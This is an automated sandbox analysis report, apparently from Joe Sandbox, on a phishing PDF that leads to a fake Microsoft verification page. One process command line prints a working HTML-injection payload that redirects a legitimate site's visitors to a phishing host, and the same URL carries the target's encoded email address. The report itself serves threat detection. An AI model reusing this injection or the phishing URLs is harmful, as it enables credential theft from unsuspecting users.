Edit tour

Windows Analysis Report
Jim.flanigan Open annual plan_Catalinamarketing.pdf

Overview

General Information

Sample name:	Jim.flanigan Open annual plan_Catalinamarketing.pdf
Analysis ID:	1617428
MD5:	d63c6e1ee1443cd5ca4835b5755b91bc
SHA1:	37a368ddf36fc31b7bafe7f38d18851d34b5c5e0
SHA256:	464f7a25ed8695d1dd63c5e420d3058caef8a25f6e9f9afc99638580784be906
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

AI detected suspicious URL

Phishing site or detected (based on various text indicators)

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 4816 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Jim.flanigan Open annual plan_Catalinamarketing.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4308 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4768 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2044 --field-trial-handle=1372,i,5500382583114052616,6787345789471681547,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://rnr-marine.com/Purchase.php?product=Boat-Cover-CSF-Model&manufacturer=Ranger&model=2360+BAY+O%2FB+With+SET+BACK+PLATE&yearfrom=2021&yearto=2024&partno=71224A%22%3E%3Cimg+src%3D%22nonexistent.jpg%22+onerror%3D%22window.location%3D%27https%3A%2F%2Feadobeupdater.docstoragetower.com%2FQhGFx%2F%3Fe%3D%27%3B%22%3E/amltLmZsYW5pZ2FuQGNhdGFsaW5hbWFya2V0aW5nLmNvbQ== MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2180,i,9190615524269947673,5205430729197634304,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://eadobeupdater.docstoragetower.com/QhGFx/?e=	Joe Sandbox AI: Score: 9 Reasons: The URL 'eadobeupdater.docstoragetower.com' does not match the legitimate domain for Microsoft, which is 'microsoft.com'., The domain 'docstoragetower.com' is not associated with Microsoft., The subdomain 'eadobeupdater' is suspicious as it combines elements of 'Adobe' and 'updater', which are unrelated to Microsoft., The presence of unrelated brand elements in the subdomain suggests a potential phishing attempt., The URL structure and domain name do not align with any known Microsoft services or products. DOM: 1.1.pages.csv
Source: https://eadobeupdater.docstoragetower.com/QhGFx/?e=	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'eadobeupdater.docstoragetower.com' does not match the legitimate domain for Microsoft., The domain 'docstoragetower.com' is not associated with Microsoft and appears suspicious., The subdomain 'eadobeupdater' is misleading and could be attempting to mimic Adobe, another well-known brand, which is a common phishing tactic., The presence of an unrelated email address '3vs9w7@etlq.com' further suggests phishing, as it does not align with Microsoft's typical email domains. DOM: 1.6.pages.csv

Yara detected HtmlPhish10

Source: Yara match

File source: 1.6.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document

Joe Sandbox AI: PDF document contains QR code

AI detected suspicious URL

Source: https://eadobeupdater.docstoragetower.com

Joe Sandbox AI: The URL 'eadobeupdater.docstoragetower.com' appears to be attempting to spoof the well-known brand Adobe. The subdomain 'eadobeupdater' suggests a connection to Adobe's software update services, which could mislead users into thinking it is a legitimate Adobe service. The use of 'eadobe' instead of 'adobe' is a minor structural change, likely intended to avoid detection while still being visually similar. The main domain 'docstoragetower.com' does not have an obvious connection to Adobe, which raises suspicion about its legitimacy. The combination of these factors, including the use of a subdomain that implies a service related to Adobe, suggests a high likelihood of typosquatting. However, without more context on 'docstoragetower.com', there is a small chance it could be a legitimate service unrelated to Adobe, but this is unlikely given the context.

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.2	OCR Text: Microsoft Browser firewall check running. Verifying... CLOUDFLARE Your connection's security needs to be verified by Microsoft before proceeding.
Source: Chrome DOM: 1.4	OCR Text: Microsoft Browser firewall check running. Verifying... CLOUDFLARE Your connection's security needs to be verified by Microsoft before proceeding.